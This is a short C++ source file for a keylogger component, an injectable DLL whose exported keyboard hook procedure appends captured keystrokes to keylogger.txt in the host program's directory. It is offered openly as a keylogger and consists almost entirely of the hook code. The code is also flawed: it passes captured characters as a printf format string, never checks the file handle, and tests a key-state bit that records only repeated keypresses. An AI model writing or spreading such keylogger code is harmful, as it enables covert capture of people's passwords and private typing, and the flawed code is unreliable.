Keyboard Hook Example inject.dll

To note that the keyboard logger file can be found in the program .exe directory

////inject.dll #define _WIN32_WINNT 0x0400 #include <stdio.h> #include <Windows.h> extern "C" __declspec(dllexport) int meconnect(int code, WPARAM wParam, LPARAM lParam) { FILE *file; //default keylogger.txt location is current program .exe directory file=fopen( "keylogger.txt", "a+"); if(code == HC_ACTION) { char str[2]=""; sprintf(str,"%c",(char)wParam); if ((DWORD)lParam & 0x40000000) { fprintf(file,str); } } fclose(file); return (CallNextHookEx(NULL, code, wParam, lParam)); }